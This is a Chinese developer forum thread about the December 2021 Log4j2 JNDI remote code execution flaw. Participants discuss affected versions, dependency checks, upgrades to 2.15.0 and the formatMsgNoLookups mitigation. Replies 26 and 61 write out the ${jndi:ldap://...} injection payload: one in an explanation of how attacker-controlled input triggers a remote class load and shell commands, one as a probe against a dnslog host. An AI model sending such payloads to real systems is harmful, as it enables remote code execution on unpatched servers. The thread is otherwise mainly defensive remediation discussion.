没想到继 fastjson 之后还有这一出.
1 Jooooooooo OP |
![]() | 2 lix7 2021-12-10 00:26:32 +08:00 点完早饭外卖被电话叫起来了修了... |
3 nook4sh 2021-12-10 01:42:28 +08:00 log4j 有这个问题吗? |
![]() | 4 ericgui 2021-12-10 01:49:55 +08:00 有什么 log4j2 的替代品吗 |
5 zxCoder 2021-12-10 08:44:57 +08:00 不懂信息安全。。。怎么一个 jar 包还能被攻击啊 |
![]() | 6 Imindzzz 2021-12-10 08:45:57 +08:00 作为脚本小子,我只关心 exp |
7 justs0o 2021-12-10 09:21:29 +08:00 ![]() Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2 、Apache Solr 、Apache Druid 、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。 漏洞评级 Apache Log4j 远程代码执行漏洞 严重 影响版本 Apache Log4j 2.x <= 2.14.1 安全建议 1. 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1 2. 升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid |
![]() | 9 wanguorui123 2021-12-10 10:07:37 +08:00 |
![]() | 10 MonkeyJon 2021-12-10 10:30:49 +08:00 用户只需排查 Java 应用是否引入 log4j-api , log4j-core 两个 jar 。若存在应用使用,极大可能会受到影响。 没有这俩,明天可以休息啦 |
![]() | 11 play78 2021-12-10 10:39:53 +08:00 springboot -> spring-boot-starter -> spring-boot-starter-logging -> log4j-to-slf4j -> log4j-api 也就是说所有 springboot 项目都会有影响? |
![]() | 12 aoizz 2021-12-10 10:41:32 +08:00 @MonkeyJon #10 看 idea 外部库里面有 log4j-api ,但是系统用的是 logback,pom 文件也没有引入 log4j,怎么查看是哪个依赖带的? |
13 jinzhongyuan 2021-12-10 10:52:57 +08:00 哪位彦祖讲一下,一个 jar 包怎么被攻击? |
![]() | 15 enrolls 2021-12-10 10:54:55 +08:00 想看的东西在这 |
![]() | 16 enrolls 2021-12-10 10:54:59 +08:00 |
17 Vcccc 2021-12-10 10:55:36 +08:00 Apache log4j2 在 2.0 至 2.14.1 版本均受影响。 好像我们用的还是 1.x 的版本[doge] |
![]() | 18 learningman 2021-12-10 10:56:04 +08:00 @aoizz #12 你这不都把答案说出来了吗。。。。logback 依赖 log4j 啊 |
![]() | 19 enrolls 2021-12-10 10:56:17 +08:00 |
![]() | 20 arthas2234 2021-12-10 10:57:43 +08:00 打开 IDEA ,搜一下 log4j ,用的是 1.X 的版本,继续摸鱼 |
![]() | 22 rayhy 2021-12-10 11:03:09 +08:00 @justs0o 最新消息: https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本 |
![]() | 23 Dockerfile 2021-12-10 11:03:38 +08:00 ![]() @play78 不是吧 我记得 springboot 默认日志不是 slf4j + logback 么 |
![]() | 24 dreamramon 2021-12-10 11:04:03 +08:00 加了环境变量了,不知道顶不顶得住。 |
![]() | 25 Dockerfile 2021-12-10 11:04:36 +08:00 @learningman 谁告诉你 logback 依赖 log4j 的? |
![]() | 26 ixx 2021-12-10 11:05:28 +08:00 ![]() @jinzhongyuan #13 通俗点说一下问题 一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数 如果前台传的是构造的参数如: ${jndi:ldap://xxxx.dnslog.cn/exp} exp 返回的是一个构造方法里执行 shell 代码的 class 文件 然后你设置的什么命令服务器接收到参数后就执行这个命令了 |
![]() | 30 wbd31 2021-12-10 11:48:54 +08:00 @arthas2234 log4j1.x 版本也可能有问题 参考 https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126 |
![]() | 33 RuzZ 2021-12-10 12:05:30 +08:00 |
![]() | 34 RuzZ 2021-12-10 12:07:25 +08:00 ![]() @RuzZ 根据 quote 的内容,log4j1.x 不支持 lookup ,也找不到 JNDI 的相关引用,感觉是可以理解为 log4j 1.x 不受此次 bug 的影响 |
35 adamwhite 2021-12-10 12:14:00 +08:00 可以通过关闭日志暂时屏蔽问题么? |
36 Lemeng 2021-12-10 12:43:33 +08:00 大厂加油 |
![]() | 37 sadfQED2 2021-12-10 13:02:41 +08:00 via Android 哈哈哈,非 java boy 开心吃瓜 |
![]() | 38 iold 2021-12-10 13:03:58 +08:00 @RuzZ #34 后续来了,1.x 也受影响。https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126 |
![]() | 39 arthas2234 2021-12-10 14:05:58 +08:00 @wbd31 不会吧,现在蔓延到 1.x 了么,不过我负责的项目是在内网的,还可以观望一下 |
![]() | 40 play78 2021-12-10 14:08:46 +08:00 @arthas2234 让网管在防火墙上把 ldap 协议禁止了。估计还可以继续苟。 |
41 xbchaonba 2021-12-10 14:34:36 +08:00 苹果云应为这个漏洞被搞了吗,一直登录不了 |
43 sha851092391 2021-12-10 14:37:06 +08:00 快速验证是否有这个问题: https://issues.apache.org/jira/browse/LOG4J2-3202 修复措施:直接升级到 2.15.0 版本 临时修复措施: 增加 log4j2.component.properties 配置文件,配置为 log4j2.formatMsgNoLookups=true |
![]() | 44 yiywain 2021-12-10 14:45:18 +08:00 没有过哎 |
![]() | 45 janda 2021-12-10 14:52:54 +08:00 用的 springboot 、也看了 mvn 仓库没有、这个咋更新 ```pom <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency> ``` |
46 ivancai 2021-12-10 14:56:39 +08:00 是 log4j2 有问题还是 log4j 都有这个问题? |
![]() | 47 NULL2020 2021-12-10 15:02:25 +08:00 没人说说刚发布的版本怎么编译打包吗? |
![]() | 48 wbd31 2021-12-10 15:07:22 +08:00 @sha851092391 log4j2.formatMsgNoLookups 这个配置只有在 2.10.0 之后的版本才生效。 |
![]() | 50 sagaxu 2021-12-10 15:31:57 +08:00 via Android 官方真急了,禁用了这个功能,把开关都去掉了,官网文档也找不到这个配置项了 |
![]() | 51 issakchill 2021-12-10 16:11:28 +08:00 @NULL2020 我先用着 2.15.0 顶着 aliyun 库有 |
![]() | 52 pocketz 2021-12-10 16:15:04 +08:00 |
53 windrun 2021-12-10 16:27:16 +08:00 |
![]() | 54 janda 2021-12-10 16:31:59 +08:00 @janda maven 更新: <!--Log4j--> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version> </dependency> |
![]() | 55 deadofpeople 2021-12-10 16:35:12 +08:00 官网的 2.15.0 是 RC2 版本么 |
![]() | 56 NULL2020 2021-12-10 16:36:13 +08:00 |
58 jamzhou 2021-12-10 17:08:50 +08:00 确定 log4j-api 也受影响吗,我这边通过尝试构建攻击参数,并未能复现注入攻击。 而 2.14.1 上,的确可以让记录日志的时候,注入远程执行。 |
![]() | 59 BigDogWang 2021-12-10 18:03:12 +08:00 1.7 版本没事吧 |
60 a594195609 2021-12-10 18:05:26 +08:00 @NULL2020 你看错了吧?阿里云仓库里目前能搜得到的是非官方的,groupId 不一样的,大小都差很远,不敢用。 |
![]() | 61 Imindzzz 2021-12-10 18:07:35 +08:00 ${jndi:ldap://00pfh9.dnslog.cn} |
63 lhwarthas 2021-12-10 18:44:13 +08:00 源码编译步骤: 1.准备 JDK8 & JDK11 & maven 2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录 3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml |
![]() | 64 pocketz 2021-12-10 19:14:59 +08:00 @NULL2020 你报错信息是什么?我这边报错是远程 repo 里没有 log4j-api-java9 。 把源码里的 log4j-api-java9 添加到我本地的 repo 里,log4j-api 就编译成功了 |
65 donespeak 2021-12-10 20:02:25 +08:00 有人讲讲通过这个漏洞可以做什么样的吗? |
![]() | 66 whoosy 2021-12-10 20:23:34 +08:00 正在搞 |
68 yangyaofei 2021-12-10 20:55:00 +08:00 via Android 那个……如果是 linux 上,用一个很低的权限(只有 web 文件夹有读权限)的帐户运行程序,是不是就没事儿了? |
71 wth4612 2021-12-10 21:14:19 +08:00 @deadofpeople 我比了下源码 2.15.0 应该就是 RC2 版 https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2 |
![]() | 72 codehz 2021-12-10 21:22:59 +08:00 via Android |
![]() | 73 SirCarol 2021-12-10 21:25:11 +08:00 via iPhone 今天修复了一天。 |
74 jamzhou 2021-12-10 21:34:25 +08:00 @sshang 我用的 2.14.1 <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> |
![]() | 75 movq 2021-12-10 21:52:59 +08:00 ![]() |
![]() | 76 hallDrawnel 2021-12-10 23:20:07 +08:00 今天看隔壁修了一天,还好我们这边没 Java |
![]() | 77 ericFork 2021-12-10 23:42:43 +08:00 @hallDrawnel #76 依赖的基础设施如果有用到的话也一样要修的,比如 kafka, elasticsearch |
![]() | 78 hallDrawnel 2021-12-11 00:01:05 +08:00 @ericFork 是的,但是那个有其他团队负责修,我们只需要观察稳定性就行了 |
![]() | 79 vincent956 2021-12-11 07:41:21 +08:00 @MonkeyJon springboot 自己引入的这个两个包,但是项目上没有使用,有影响吗 |
![]() | 80 Kaiv2 2021-12-11 10:51:52 +08:00 高版本 JDK 不用太担心 com.sun.jndi.rmi.object.trustURLCodebase 这个参数没有设置为 true ,不会远程加载 class, 会抛出异常 |
![]() | 81 ixx 2021-12-11 12:18:22 +08:00 @vincent956 #79 springboot 默认是没有影响的 |
82 wilsonsui 2021-12-13 10:14:58 +08:00 ![]() 参考 https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot spring-boot-starter-logging 包中的 log4j-to-slf4j 与 log4j-api 不受漏洞影响,只有 log4j-core 受影响 |